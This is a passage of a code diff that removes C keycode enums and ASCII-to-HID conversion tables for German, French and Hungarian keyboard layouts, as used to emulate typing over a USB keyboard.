HID_KEYBOARD_DE_G = 0x0A, - HID_KEYBOARD_DE_H = 0x0B, - HID_KEYBOARD_DE_I = 0x0C, - HID_KEYBOARD_DE_J = 0x0D, - HID_KEYBOARD_DE_K = 0x0E, - HID_KEYBOARD_DE_L = 0x0F, - HID_KEYBOARD_DE_M = 0x10, - HID_KEYBOARD_DE_N = 0x11, - HID_KEYBOARD_DE_O = 0x12, - HID_KEYBOARD_DE_P = 0x13, - HID_KEYBOARD_DE_Q = 0x14, - HID_KEYBOARD_DE_R = 0x15, - HID_KEYBOARD_DE_S = 0x16, - HID_KEYBOARD_DE_T = 0x17, - HID_KEYBOARD_DE_U = 0x18, - HID_KEYBOARD_DE_V = 0x19, - HID_KEYBOARD_DE_W = 0x1A, - HID_KEYBOARD_DE_X = 0x1B, - HID_KEYBOARD_DE_Y = 0x1D, - HID_KEYBOARD_DE_Z = 0x1C, - - HID_KEYBOARD_DE_1 = 0x1E, - HID_KEYBOARD_DE_2 = 0x1F, - HID_KEYBOARD_DE_3 = 0x20, - HID_KEYBOARD_DE_4 = 0x21, - HID_KEYBOARD_DE_5 = 0x22, - HID_KEYBOARD_DE_6 = 0x23, - HID_KEYBOARD_DE_7 = 0x24, - HID_KEYBOARD_DE_8 = 0x25, - HID_KEYBOARD_DE_9 = 0x26, - HID_KEYBOARD_DE_0 = 0x27, - - HID_KEYBOARD_DE_EXCLAMATION = 0x1E, - HID_KEYBOARD_DE_DOUBLE_QUOTE = 0x1F, - HID_KEYBOARD_DE_DOLLAR = 0x21, - HID_KEYBOARD_DE_PERCENT = 0x22, - HID_KEYBOARD_DE_AND = 0x23, - HID_KEYBOARD_DE_SINGLE_QUOTE = 0x31, //tocheck - HID_KEYBOARD_DE_LEFT_PARENTHESIS = 0x25, - HID_KEYBOARD_DE_RIGHT_PARENTHESIS = 0x26, - HID_KEYBOARD_DE_STAR = 0x30, - HID_KEYBOARD_DE_EQUAL = 0x27, - HID_KEYBOARD_DE_COMMA = 0x36, - HID_KEYBOARD_DE_DASH = 0x38, - HID_KEYBOARD_DE_SEMI_COLON = 0x36, - HID_KEYBOARD_DE_DOUBLE_POINTS = 0x37, - HID_KEYBOARD_DE_SMALLER = 0x64, //todo - HID_KEYBOARD_DE_UNDERSCORE = 0x38, - HID_KEYBOARD_DE_CIRCUMFLEX = 0x35, //tocheck - HID_KEYBOARD_DE_BACKTICK = 0x2E, - - HID_KEYBOARD_DE_CAPS_LOCK = 0xC1, - HID_KEYBOARD_DE_F1 = 0xC2, - HID_KEYBOARD_DE_F2 = 0xC3, - HID_KEYBOARD_DE_F3 = 0xC4, - HID_KEYBOARD_DE_F4 = 0xC5, - HID_KEYBOARD_DE_F5 = 0xC6, - HID_KEYBOARD_DE_F6 = 0xC7, - HID_KEYBOARD_DE_F7 = 0xC8, - HID_KEYBOARD_DE_F8 = 0xC9, - HID_KEYBOARD_DE_F9 = 0xCA, - HID_KEYBOARD_DE_F10 = 0xCB, - HID_KEYBOARD_DE_F11 = 0xCC, - HID_KEYBOARD_DE_F12 = 0xCD, - HID_KEYBOARD_DE_PRINT = 0x63, - HID_KEYBOARD_DE_SCROLL_LOCK = 0x47, - HID_KEYBOARD_DE_PAUSE = 0x48, - HID_KEYBOARD_DE_INSERT = 0xD1, - HID_KEYBOARD_DE_HOME = 0xD2, - HID_KEYBOARD_DE_PAGE_UP = 0xD3, - HID_KEYBOARD_DE_DELETE = 0xD4, - HID_KEYBOARD_DE_END = 0xD5, - HID_KEYBOARD_DE_PAGE_DOWN = 0xD6, - HID_KEYBOARD_DE_RIGHT_ARROW = 0xD7, - HID_KEYBOARD_DE_LEFT_ARROW = 0xD8, - HID_KEYBOARD_DE_DOWN_ARROW = 0xD9, - HID_KEYBOARD_DE_UP_ARROW = 0xDA, - HID_KEYBOARD_DE_NUM_LOCK = 0x53, - HID_KEYBOARD_DE_NON_US = 0x64, - HID_KEYBOARD_DE_APPLICATION = 0x65, - - HID_KEYBOARD_DE_SHARP_SS = 0x2D, -}; - -/** ASCII to keycode conversion table DE */ -static const uint16_t hid_asciimap_de[] = { - HID_KEYBOARD_NONE, // NUL - HID_KEYBOARD_NONE, // SOH - HID_KEYBOARD_NONE, // STX - HID_KEYBOARD_NONE, // ETX - HID_KEYBOARD_NONE, // EOT - HID_KEYBOARD_NONE, // ENQ - HID_KEYBOARD_NONE, // ACK - HID_KEYBOARD_NONE, // BEL - HID_KEYBOARD_DE_BACKSPACE, // BS Backspace - HID_KEYBOARD_DE_TAB, // TAB Tab - HID_KEYBOARD_DE_ENTER, // LF Enter - HID_KEYBOARD_NONE, // VT - HID_KEYBOARD_NONE, // FF - HID_KEYBOARD_NONE, // CR - HID_KEYBOARD_NONE, // SO - HID_KEYBOARD_NONE, // SI - HID_KEYBOARD_NONE, // DEL - HID_KEYBOARD_NONE, // DC1 - HID_KEYBOARD_NONE, // DC2 - HID_KEYBOARD_NONE, // DC3 - HID_KEYBOARD_NONE, // DC4 - HID_KEYBOARD_NONE, // NAK - HID_KEYBOARD_NONE, // SYN - HID_KEYBOARD_NONE, // ETB - HID_KEYBOARD_NONE, // CAN - HID_KEYBOARD_NONE, // EM - HID_KEYBOARD_NONE, // SUB - HID_KEYBOARD_NONE, // ESC - HID_KEYBOARD_NONE, // FS - HID_KEYBOARD_NONE, // GS - HID_KEYBOARD_NONE, // RS - HID_KEYBOARD_NONE, // US - HID_KEYBOARD_DE_SPACE, // ' ' Space - HID_KEYBOARD_DE_EXCLAMATION | KEY_MOD_LEFT_SHIFT, // ! - HID_KEYBOARD_DE_DOUBLE_QUOTE | KEY_MOD_LEFT_SHIFT, // " - HID_KEYBOARD_DE_SINGLE_QUOTE, // # - HID_KEYBOARD_DE_DOLLAR | KEY_MOD_LEFT_SHIFT, // $ - HID_KEYBOARD_DE_PERCENT | KEY_MOD_LEFT_SHIFT, // % - HID_KEYBOARD_DE_AND | KEY_MOD_LEFT_SHIFT, // & - HID_KEYBOARD_DE_SINGLE_QUOTE | KEY_MOD_LEFT_SHIFT, // ' - HID_KEYBOARD_DE_LEFT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // ( - HID_KEYBOARD_DE_RIGHT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // ) - HID_KEYBOARD_DE_STAR | KEY_MOD_LEFT_SHIFT, // * - HID_KEYBOARD_DE_STAR, // + - HID_KEYBOARD_DE_COMMA, // , - HID_KEYBOARD_DE_DASH, // - - HID_KEYBOARD_DE_DOUBLE_POINTS, // . - HID_KEYBOARD_DE_7 | KEY_MOD_LEFT_SHIFT, // / - HID_KEYBOARD_DE_0, // 0 - HID_KEYBOARD_DE_1, // 1 - HID_KEYBOARD_DE_2, // 2 - HID_KEYBOARD_DE_3, // 3 - HID_KEYBOARD_DE_4, // 4 - HID_KEYBOARD_DE_5, // 5 - HID_KEYBOARD_DE_6, // 6 - HID_KEYBOARD_DE_7, // 7 - HID_KEYBOARD_DE_8, // 8 - HID_KEYBOARD_DE_9, // 9 - HID_KEYBOARD_DE_DOUBLE_POINTS | KEY_MOD_LEFT_SHIFT, // : - HID_KEYBOARD_DE_SEMI_COLON | KEY_MOD_LEFT_SHIFT, // ; - HID_KEYBOARD_DE_SMALLER, // < - HID_KEYBOARD_DE_EQUAL | KEY_MOD_LEFT_SHIFT, // = - HID_KEYBOARD_DE_SMALLER | KEY_MOD_LEFT_SHIFT, // > - HID_KEYBOARD_DE_SHARP_SS | KEY_MOD_LEFT_SHIFT, // ? - HID_KEYBOARD_DE_Q | KEY_MOD_RIGHT_ALT, // @ - HID_KEYBOARD_DE_A | KEY_MOD_LEFT_SHIFT, // A - HID_KEYBOARD_DE_B | KEY_MOD_LEFT_SHIFT, // B - HID_KEYBOARD_DE_C | KEY_MOD_LEFT_SHIFT, // C - HID_KEYBOARD_DE_D | KEY_MOD_LEFT_SHIFT, // D - HID_KEYBOARD_DE_E | KEY_MOD_LEFT_SHIFT, // E - HID_KEYBOARD_DE_F | KEY_MOD_LEFT_SHIFT, // F - HID_KEYBOARD_DE_G | KEY_MOD_LEFT_SHIFT, // G - HID_KEYBOARD_DE_H | KEY_MOD_LEFT_SHIFT, // H - HID_KEYBOARD_DE_I | KEY_MOD_LEFT_SHIFT, // I - HID_KEYBOARD_DE_J | KEY_MOD_LEFT_SHIFT, // J - HID_KEYBOARD_DE_K | KEY_MOD_LEFT_SHIFT, // K - HID_KEYBOARD_DE_L | KEY_MOD_LEFT_SHIFT, // L - HID_KEYBOARD_DE_M | KEY_MOD_LEFT_SHIFT, // M - HID_KEYBOARD_DE_N | KEY_MOD_LEFT_SHIFT, // N - HID_KEYBOARD_DE_O | KEY_MOD_LEFT_SHIFT, // O - HID_KEYBOARD_DE_P | KEY_MOD_LEFT_SHIFT, // P - HID_KEYBOARD_DE_Q | KEY_MOD_LEFT_SHIFT, // Q - HID_KEYBOARD_DE_R | KEY_MOD_LEFT_SHIFT, // R - HID_KEYBOARD_DE_S | KEY_MOD_LEFT_SHIFT, // S - HID_KEYBOARD_DE_T | KEY_MOD_LEFT_SHIFT, // T - HID_KEYBOARD_DE_U | KEY_MOD_LEFT_SHIFT, // U - HID_KEYBOARD_DE_V | KEY_MOD_LEFT_SHIFT, // V - HID_KEYBOARD_DE_W | KEY_MOD_LEFT_SHIFT, // W - HID_KEYBOARD_DE_X | KEY_MOD_LEFT_SHIFT, // X - HID_KEYBOARD_DE_Y | KEY_MOD_LEFT_SHIFT, // Y - HID_KEYBOARD_DE_Z | KEY_MOD_LEFT_SHIFT, // Z - HID_KEYBOARD_DE_LEFT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // [ - HID_KEYBOARD_DE_SHARP_SS | KEY_MOD_RIGHT_ALT, // bslash - HID_KEYBOARD_DE_RIGHT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // ] - HID_KEYBOARD_DE_CIRCUMFLEX, // ^ - HID_KEYBOARD_DE_UNDERSCORE | KEY_MOD_LEFT_SHIFT, // _ - HID_KEYBOARD_DE_BACKTICK | KEY_MOD_LEFT_SHIFT, // ` - HID_KEYBOARD_DE_A, // a - HID_KEYBOARD_DE_B, // b - HID_KEYBOARD_DE_C, // c - HID_KEYBOARD_DE_D, // d - HID_KEYBOARD_DE_E, // e - HID_KEYBOARD_DE_F, // f - HID_KEYBOARD_DE_G, // g - HID_KEYBOARD_DE_H, // h - HID_KEYBOARD_DE_I, // i - HID_KEYBOARD_DE_J, // j - HID_KEYBOARD_DE_K, // k - HID_KEYBOARD_DE_L, // l - HID_KEYBOARD_DE_M, // m - HID_KEYBOARD_DE_N, // n - HID_KEYBOARD_DE_O, // o - HID_KEYBOARD_DE_P, // p - HID_KEYBOARD_DE_Q, // q - HID_KEYBOARD_DE_R, // r - HID_KEYBOARD_DE_S, // s - HID_KEYBOARD_DE_T, // t - HID_KEYBOARD_DE_U, // u - HID_KEYBOARD_DE_V, // v - HID_KEYBOARD_DE_W, // w - HID_KEYBOARD_DE_X, // x - HID_KEYBOARD_DE_Y, // y - HID_KEYBOARD_DE_Z, // z - HID_KEYBOARD_DE_7 | KEY_MOD_RIGHT_ALT, // { - HID_KEYBOARD_DE_SMALLER | KEY_MOD_RIGHT_ALT, // | - HID_KEYBOARD_DE_0 | KEY_MOD_RIGHT_ALT, // } - HID_KEYBOARD_DE_STAR | KEY_MOD_RIGHT_ALT, // ~ - HID_KEYBOARD_NONE, // DEL -}; - -/** HID keyboard key codes FR */ -enum HidKeyboardKeysFR { - HID_KEYBOARD_FR_ERROR_ROLLOVER = 0x01, - HID_KEYBOARD_FR_POST_FAIL = 0x02, - HID_KEYBOARD_FR_ERROR_UNDEFINED = 0x03, - - HID_KEYBOARD_FR_ENTER = 0x28, - HID_KEYBOARD_FR_ESC = 0x29, - HID_KEYBOARD_FR_BACKSPACE = 0x2A, - HID_KEYBOARD_FR_TAB = 0x2B, - HID_KEYBOARD_FR_SPACE = 0x2C, - - HID_KEYBOARD_FR_A = 0x14, - HID_KEYBOARD_FR_B = 0x05, - HID_KEYBOARD_FR_C = 0x06, - HID_KEYBOARD_FR_D = 0x07, - HID_KEYBOARD_FR_E = 0x08, - HID_KEYBOARD_FR_F = 0x09, - HID_KEYBOARD_FR_G = 0x0A, - HID_KEYBOARD_FR_H = 0x0B, - HID_KEYBOARD_FR_I = 0x0C, - HID_KEYBOARD_FR_J = 0x0D, - HID_KEYBOARD_FR_K = 0x0E, - HID_KEYBOARD_FR_L = 0x0F, - HID_KEYBOARD_FR_M = 0x33, - HID_KEYBOARD_FR_N = 0x11, - HID_KEYBOARD_FR_O = 0x12, - HID_KEYBOARD_FR_P = 0x13, - HID_KEYBOARD_FR_Q = 0x04, - HID_KEYBOARD_FR_R = 0x15, - HID_KEYBOARD_FR_S = 0x16, - HID_KEYBOARD_FR_T = 0x17, - HID_KEYBOARD_FR_U = 0x18, - HID_KEYBOARD_FR_V = 0x19, - HID_KEYBOARD_FR_W = 0x1D, - HID_KEYBOARD_FR_X = 0x1B, - HID_KEYBOARD_FR_Y = 0x1C, - HID_KEYBOARD_FR_Z = 0x1A, - - HID_KEYBOARD_FR_1 = 0x1E, - HID_KEYBOARD_FR_2 = 0x1F, - HID_KEYBOARD_FR_3 = 0x20, - HID_KEYBOARD_FR_4 = 0x21, - HID_KEYBOARD_FR_5 = 0x22, - HID_KEYBOARD_FR_6 = 0x23, - HID_KEYBOARD_FR_7 = 0x24, - HID_KEYBOARD_FR_8 = 0x25, - HID_KEYBOARD_FR_9 = 0x26, - HID_KEYBOARD_FR_0 = 0x27, - - HID_KEYBOARD_FR_EXCLAMATION = 0x38, - HID_KEYBOARD_FR_DOUBLE_QUOTE = 0x20, - HID_KEYBOARD_FR_DOLLAR = 0x30, - HID_KEYBOARD_FR_U_BACKTICK = 0x34, - HID_KEYBOARD_FR_AND = 0x1E, - HID_KEYBOARD_FR_SINGLE_QUOTE = 0x21, - HID_KEYBOARD_FR_LEFT_PARENTHESIS = 0x22, - HID_KEYBOARD_FR_RIGHT_PARENTHESIS = 0x2D, - HID_KEYBOARD_FR_STAR = 0x31, - HID_KEYBOARD_FR_EQUAL = 0x2E, - HID_KEYBOARD_FR_COMMA = 0x10, - HID_KEYBOARD_FR_DASH = 0x23, - HID_KEYBOARD_FR_SEMI_COLON = 0x36, - HID_KEYBOARD_FR_DOUBLE_POINTS = 0x37, - HID_KEYBOARD_FR_SMALLER = 0x64, - HID_KEYBOARD_FR_UNDERSCORE = 0x25, - HID_KEYBOARD_FR_CIRCUMFLEX = 0x2F, - HID_KEYBOARD_FR_A_BACKTICK = 0x27, - HID_KEYBOARD_FR_E_ACCENT = 0x1F, - HID_KEYBOARD_FR_E_BACKTICK = 0x24, - HID_KEYBOARD_FR_C_CEDILLE = 0x26, - - HID_KEYBOARD_FR_CAPS_LOCK = 0xC1, - HID_KEYBOARD_FR_F1 = 0xC2, - HID_KEYBOARD_FR_F2 = 0xC3, - HID_KEYBOARD_FR_F3 = 0xC4, - HID_KEYBOARD_FR_F4 = 0xC5, - HID_KEYBOARD_FR_F5 = 0xC6, - HID_KEYBOARD_FR_F6 = 0xC7, - HID_KEYBOARD_FR_F7 = 0xC8, - HID_KEYBOARD_FR_F8 = 0xC9, - HID_KEYBOARD_FR_F9 = 0xCA, - HID_KEYBOARD_FR_F10 = 0xCB, - HID_KEYBOARD_FR_F11 = 0xCC, - HID_KEYBOARD_FR_F12 = 0xCD, - HID_KEYBOARD_FR_PRINT = 0x63, - HID_KEYBOARD_FR_SCROLL_LOCK = 0x47, - HID_KEYBOARD_FR_PAUSE = 0x48, - HID_KEYBOARD_FR_INSERT = 0xD1, - HID_KEYBOARD_FR_HOME = 0xD2, - HID_KEYBOARD_FR_PAGE_UP = 0xD3, - HID_KEYBOARD_FR_DELETE = 0xD4, - HID_KEYBOARD_FR_END = 0xD5, - HID_KEYBOARD_FR_PAGE_DOWN = 0xD6, - HID_KEYBOARD_FR_RIGHT_ARROW = 0xD7, - HID_KEYBOARD_FR_LEFT_ARROW = 0xD8, - HID_KEYBOARD_FR_DOWN_ARROW = 0xD9, - HID_KEYBOARD_FR_UP_ARROW = 0xDA, - HID_KEYBOARD_FR_NUM_LOCK = 0x53, - HID_KEYBOARD_FR_NON_US = 0x64, - HID_KEYBOARD_FR_APPLICATION = 0x65, -}; - -/** ASCII to keycode conversion table FR */ -static const uint16_t hid_asciimap_fr[] = { - HID_KEYBOARD_NONE, // NUL - HID_KEYBOARD_NONE, // SOH - HID_KEYBOARD_NONE, // STX - HID_KEYBOARD_NONE, // ETX - HID_KEYBOARD_NONE, // EOT - HID_KEYBOARD_NONE, // ENQ - HID_KEYBOARD_NONE, // ACK - HID_KEYBOARD_NONE, // BEL - HID_KEYBOARD_FR_BACKSPACE, // BS Backspace - HID_KEYBOARD_FR_TAB, // TAB Tab - HID_KEYBOARD_FR_ENTER, // LF Enter - HID_KEYBOARD_NONE, // VT - HID_KEYBOARD_NONE, // FF - HID_KEYBOARD_NONE, // CR - HID_KEYBOARD_NONE, // SO - HID_KEYBOARD_NONE, // SI - HID_KEYBOARD_NONE, // DEL - HID_KEYBOARD_NONE, // DC1 - HID_KEYBOARD_NONE, // DC2 - HID_KEYBOARD_NONE, // DC3 - HID_KEYBOARD_NONE, // DC4 - HID_KEYBOARD_NONE, // NAK - HID_KEYBOARD_NONE, // SYN - HID_KEYBOARD_NONE, // ETB - HID_KEYBOARD_NONE, // CAN - HID_KEYBOARD_NONE, // EM - HID_KEYBOARD_NONE, // SUB - HID_KEYBOARD_NONE, // ESC - HID_KEYBOARD_NONE, // FS - HID_KEYBOARD_NONE, // GS - HID_KEYBOARD_NONE, // RS - HID_KEYBOARD_NONE, // US - HID_KEYBOARD_FR_SPACE, // ' ' Space - HID_KEYBOARD_FR_EXCLAMATION, // ! - HID_KEYBOARD_FR_DOUBLE_QUOTE, // " - HID_KEYBOARD_FR_DOUBLE_QUOTE | KEY_MOD_RIGHT_ALT, // # - HID_KEYBOARD_FR_DOLLAR, // $ - HID_KEYBOARD_FR_U_BACKTICK | KEY_MOD_LEFT_SHIFT, // % - HID_KEYBOARD_FR_AND, // & - HID_KEYBOARD_FR_SINGLE_QUOTE, // ' - HID_KEYBOARD_FR_LEFT_PARENTHESIS, // ( - HID_KEYBOARD_FR_RIGHT_PARENTHESIS, // ) - HID_KEYBOARD_FR_STAR, // * - HID_KEYBOARD_FR_EQUAL | KEY_MOD_LEFT_SHIFT, // + - HID_KEYBOARD_FR_COMMA, // , - HID_KEYBOARD_FR_DASH, // - - HID_KEYBOARD_FR_SEMI_COLON | KEY_MOD_LEFT_SHIFT, // . - HID_KEYBOARD_FR_DOUBLE_POINTS | KEY_MOD_LEFT_SHIFT, // / - HID_KEYBOARD_FR_A_BACKTICK | KEY_MOD_LEFT_SHIFT, // 0 - HID_KEYBOARD_FR_AND | KEY_MOD_LEFT_SHIFT, // 1 - HID_KEYBOARD_FR_E_ACCENT | KEY_MOD_LEFT_SHIFT, // 2 - HID_KEYBOARD_FR_DOUBLE_QUOTE | KEY_MOD_LEFT_SHIFT, // 3 - HID_KEYBOARD_FR_SINGLE_QUOTE | KEY_MOD_LEFT_SHIFT, // 4 - HID_KEYBOARD_FR_LEFT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // 5 - HID_KEYBOARD_FR_DASH | KEY_MOD_LEFT_SHIFT, // 6 - HID_KEYBOARD_FR_E_BACKTICK | KEY_MOD_LEFT_SHIFT, // 7 - HID_KEYBOARD_FR_UNDERSCORE | KEY_MOD_LEFT_SHIFT, // 8 - HID_KEYBOARD_FR_C_CEDILLE | KEY_MOD_LEFT_SHIFT, // 9 - HID_KEYBOARD_FR_DOUBLE_POINTS, // : - HID_KEYBOARD_FR_SEMI_COLON, // ; - HID_KEYBOARD_FR_SMALLER, // < - HID_KEYBOARD_FR_EQUAL, // = - HID_KEYBOARD_FR_SMALLER | KEY_MOD_LEFT_SHIFT, // > - HID_KEYBOARD_FR_COMMA | KEY_MOD_LEFT_SHIFT, // ? - HID_KEYBOARD_FR_A_BACKTICK | KEY_MOD_RIGHT_ALT, // @ - HID_KEYBOARD_FR_A | KEY_MOD_LEFT_SHIFT, // A - HID_KEYBOARD_FR_B | KEY_MOD_LEFT_SHIFT, // B - HID_KEYBOARD_FR_C | KEY_MOD_LEFT_SHIFT, // C - HID_KEYBOARD_FR_D | KEY_MOD_LEFT_SHIFT, // D - HID_KEYBOARD_FR_E | KEY_MOD_LEFT_SHIFT, // E - HID_KEYBOARD_FR_F | KEY_MOD_LEFT_SHIFT, // F - HID_KEYBOARD_FR_G | KEY_MOD_LEFT_SHIFT, // G - HID_KEYBOARD_FR_H | KEY_MOD_LEFT_SHIFT, // H - HID_KEYBOARD_FR_I | KEY_MOD_LEFT_SHIFT, // I - HID_KEYBOARD_FR_J | KEY_MOD_LEFT_SHIFT, // J - HID_KEYBOARD_FR_K | KEY_MOD_LEFT_SHIFT, // K - HID_KEYBOARD_FR_L | KEY_MOD_LEFT_SHIFT, // L - HID_KEYBOARD_FR_M | KEY_MOD_LEFT_SHIFT, // M - HID_KEYBOARD_FR_N | KEY_MOD_LEFT_SHIFT, // N - HID_KEYBOARD_FR_O | KEY_MOD_LEFT_SHIFT, // O - HID_KEYBOARD_FR_P | KEY_MOD_LEFT_SHIFT, // P - HID_KEYBOARD_FR_Q | KEY_MOD_LEFT_SHIFT, // Q - HID_KEYBOARD_FR_R | KEY_MOD_LEFT_SHIFT, // R - HID_KEYBOARD_FR_S | KEY_MOD_LEFT_SHIFT, // S - HID_KEYBOARD_FR_T | KEY_MOD_LEFT_SHIFT, // T - HID_KEYBOARD_FR_U | KEY_MOD_LEFT_SHIFT, // U - HID_KEYBOARD_FR_V | KEY_MOD_LEFT_SHIFT, // V - HID_KEYBOARD_FR_W | KEY_MOD_LEFT_SHIFT, // W - HID_KEYBOARD_FR_X | KEY_MOD_LEFT_SHIFT, // X - HID_KEYBOARD_FR_Y | KEY_MOD_LEFT_SHIFT, // Y - HID_KEYBOARD_FR_Z | KEY_MOD_LEFT_SHIFT, // Z - HID_KEYBOARD_FR_LEFT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // [ - HID_KEYBOARD_FR_UNDERSCORE | KEY_MOD_RIGHT_ALT, // bslash - HID_KEYBOARD_FR_RIGHT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // ] - HID_KEYBOARD_FR_CIRCUMFLEX, // ^ - HID_KEYBOARD_FR_UNDERSCORE, // _ - HID_KEYBOARD_FR_E_BACKTICK | KEY_MOD_RIGHT_ALT, // ` - HID_KEYBOARD_FR_A, // a - HID_KEYBOARD_FR_B, // b - HID_KEYBOARD_FR_C, // c - HID_KEYBOARD_FR_D, // d - HID_KEYBOARD_FR_E, // e - HID_KEYBOARD_FR_F, // f - HID_KEYBOARD_FR_G, // g - HID_KEYBOARD_FR_H, // h - HID_KEYBOARD_FR_I, // i - HID_KEYBOARD_FR_J, // j - HID_KEYBOARD_FR_K, // k - HID_KEYBOARD_FR_L, // l - HID_KEYBOARD_FR_M, // m - HID_KEYBOARD_FR_N, // n - HID_KEYBOARD_FR_O, // o - HID_KEYBOARD_FR_P, // p - HID_KEYBOARD_FR_Q, // q - HID_KEYBOARD_FR_R, // r - HID_KEYBOARD_FR_S, // s - HID_KEYBOARD_FR_T, // t - HID_KEYBOARD_FR_U, // u - HID_KEYBOARD_FR_V, // v - HID_KEYBOARD_FR_W, // w - HID_KEYBOARD_FR_X, // x - HID_KEYBOARD_FR_Y, // y - HID_KEYBOARD_FR_Z, // z - HID_KEYBOARD_FR_SINGLE_QUOTE | KEY_MOD_RIGHT_ALT, // { - HID_KEYBOARD_FR_DASH | KEY_MOD_RIGHT_ALT, // | - HID_KEYBOARD_FR_EQUAL | KEY_MOD_RIGHT_ALT, // } - HID_KEYBOARD_FR_E_ACCENT | KEY_MOD_RIGHT_ALT, // ~ - HID_KEYBOARD_NONE, // DEL -}; - -/** HID keyboard key codes HU by ut1s */ -enum HidKeyboardKeysHU { - HID_KEYBOARD_HU_ERROR_ROLLOVER = 0x01, - HID_KEYBOARD_HU_POST_FAIL = 0x02, - HID_KEYBOARD_HU_ERROR_UNHUFINED = 0x03, - - HID_KEYBOARD_HU_ENTER = 0x28, - HID_KEYBOARD_HU_ESC = 0x29, - HID_KEYBOARD_HU_BACKSPACE = 0x2A, - HID_KEYBOARD_HU_TAB = 0x2B, - HID_KEYBOARD_HU_SPACE = 0x2C, - - HID_KEYBOARD_HU_A = 0x04, - HID_KEYBOARD_HU_B = 0x05, - HID_KEYBOARD_HU_C = 0x06, - HID_KEYBOARD_HU_D = 0x07, - HID_KEYBOARD_HU_E = 0x08, - HID_KEYBOARD_HU_F = 0x09, - HID_KEYBOARD_HU_G = 0x0A, - HID_KEYBOARD_HU_H = 0x0B, - HID_KEYBOARD_HU_I = 0x0C, - HID_KEYBOARD_HU_J = 0x0D, - HID_KEYBOARD_HU_K = 0x0E, - HID_KEYBOARD_HU_L = 0x0F, - HID_KEYBOARD_HU_M = 0x10, - HID_KEYBOARD_HU_N = 0x11, - HID_KEYBOARD_HU_O = 0x12, - HID_KEYBOARD_HU_P = 0x13, - HID_KEYBOARD_HU_Q = 0x14, - HID_KEYBOARD_HU_R = 0x15, - HID_KEYBOARD_HU_S = 0x16, - HID_KEYBOARD_HU_T = 0x17, - HID_KEYBOARD_HU_U = 0x18, - HID_KEYBOARD_HU_V = 0x19, - HID_KEYBOARD_HU_W = 0x1A, - HID_KEYBOARD_HU_X = 0x1B, - HID_KEYBOARD_HU_Y = 0x1D, - HID_KEYBOARD_HU_Z = 0x1C, - - HID_KEYBOARD_HU_1 = 0x1E, - HID_KEYBOARD_HU_2 = 0x1F, - HID_KEYBOARD_HU_3 = 0x20, - HID_KEYBOARD_HU_4 = 0x21, - HID_KEYBOARD_HU_5 = 0x22, - HID_KEYBOARD_HU_6 = 0x23, - HID_KEYBOARD_HU_7 = 0x24, - HID_KEYBOARD_HU_8 = 0x25, - HID_KEYBOARD_HU_9 = 0x26, - HID_KEYBOARD_HU_0 = 0x35, - - HID_KEYBOARD_HU_EXCLAMATION = 0x21, //! - HID_KEYBOARD_HU_DOUBLE_QUOTE = 0x1F, //" - HID_KEYBOARD_HU_DOLLAR = 0x33, //$ - HID_KEYBOARD_HU_PERCENT = 0x22, //% - HID_KEYBOARD_HU_AND = 0x06, //& - HID_KEYBOARD_HU_SINGLE_QUOTE = 0x1E, //tocheck ' - HID_KEYBOARD_HU_LEFT_PARENTHESIS = 0x25, //( - HID_KEYBOARD_HU_RIGHT_PARENTHESIS = 0x26, //) - HID_KEYBOARD_HU_STAR = 0x38, //* - HID_KEYBOARD_HU_EQUAL = 0x24, //= - HID_KEYBOARD_HU_COMMA = 0x36, //, - HID_KEYBOARD_HU_DASH = 0x38, // - - HID_KEYBOARD_HU_SEMI_COLON = 0x36, // ; - HID_KEYBOARD_HU_DOUBLE_POINTS = 0x37, //: - HID_KEYBOARD_HU_SMALLER = 0x64, //todo < - HID_KEYBOARD_HU_UNDERSCORE = 0x38, //_ - HID_KEYBOARD_HU_CIRCUMFLEX = 0x20, //tocheck ^ - HID_KEYBOARD_HU_BACKTICK = 0x24, // ` - - HID_KEYBOARD_HU_CAPS_LOCK = 0xC1, - HID_KEYBOARD_HU_F1 = 0xC2, - HID_KEYBOARD_HU_F2 = 0xC3, - HID_KEYBOARD_HU_F3 = 0xC4, - HID_KEYBOARD_HU_F4 = 0xC5, - HID_KEYBOARD_HU_F5 = 0xC6, - HID_KEYBOARD_HU_F6 = 0xC7, - HID_KEYBOARD_HU_F7 = 0xC8, - HID_KEYBOARD_HU_F8 = 0xC9, - HID_KEYBOARD_HU_F9 = 0xCA, - HID_KEYBOARD_HU_F10 = 0xCB, - HID_KEYBOARD_HU_F11 = 0xCC, - HID_KEYBOARD_HU_F12 = 0xCD, - HID_KEYBOARD_HU_PRINT = 0x63, - HID_KEYBOARD_HU_SCROLL_LOCK = 0x47, - HID_KEYBOARD_HU_PAUSE = 0x48, - HID_KEYBOARD_HU_INSERT = 0xD1, - HID_KEYBOARD_HU_HOME = 0xD2, - HID_KEYBOARD_HU_PAGE_UP = 0xD3, - HID_KEYBOARD_HU_DELETE = 0xD4, - HID_KEYBOARD_HU_END = 0xD5, - HID_KEYBOARD_HU_PAGE_DOWN = 0xD6, - HID_KEYBOARD_HU_RIGHT_ARROW = 0xD7, - HID_KEYBOARD_HU_LEFT_ARROW = 0xD8, - HID_KEYBOARD_HU_DOWN_ARROW = 0xD9, - HID_KEYBOARD_HU_UP_ARROW = 0xDA, - HID_KEYBOARD_HU_NUM_LOCK = 0x53, - HID_KEYBOARD_HU_NON_US = 0x64, - HID_KEYBOARD_HU_APPLICATION = 0x65, - - HID_KEYBOARD_HU_SHARP_SS = 0x36, -}; - -static const uint16_t hid_asciimap_hu[] = { - HID_KEYBOARD_NONE, // NUL - HID_KEYBOARD_NONE, // SOH - HID_KEYBOARD_NONE, // STX - HID_KEYBOARD_NONE, // ETX - HID_KEYBOARD_NONE, // EOT - HID_KEYBOARD_NONE, // ENQ - HID_KEYBOARD_NONE, // ACK - HID_KEYBOARD_NONE, // BEL - HID_KEYBOARD_HU_BACKSPACE, // BS Backspace - HID_KEYBOARD_HU_TAB, // TAB Tab - HID_KEYBOARD_HU_ENTER, // LF Enter - HID_KEYBOARD_NONE, // VT - HID_KEYBOARD_NONE, // FF - HID_KEYBOARD_NONE, // CR - HID_KEYBOARD_NONE, // SO - HID_KEYBOARD_NONE, // SI - HID_KEYBOARD_NONE, // DEL - HID_KEYBOARD_NONE, // DC1 - HID_KEYBOARD_NONE, // DC2 - HID_KEYBOARD_NONE, // DC3 - HID_KEYBOARD_NONE, // DC4 - 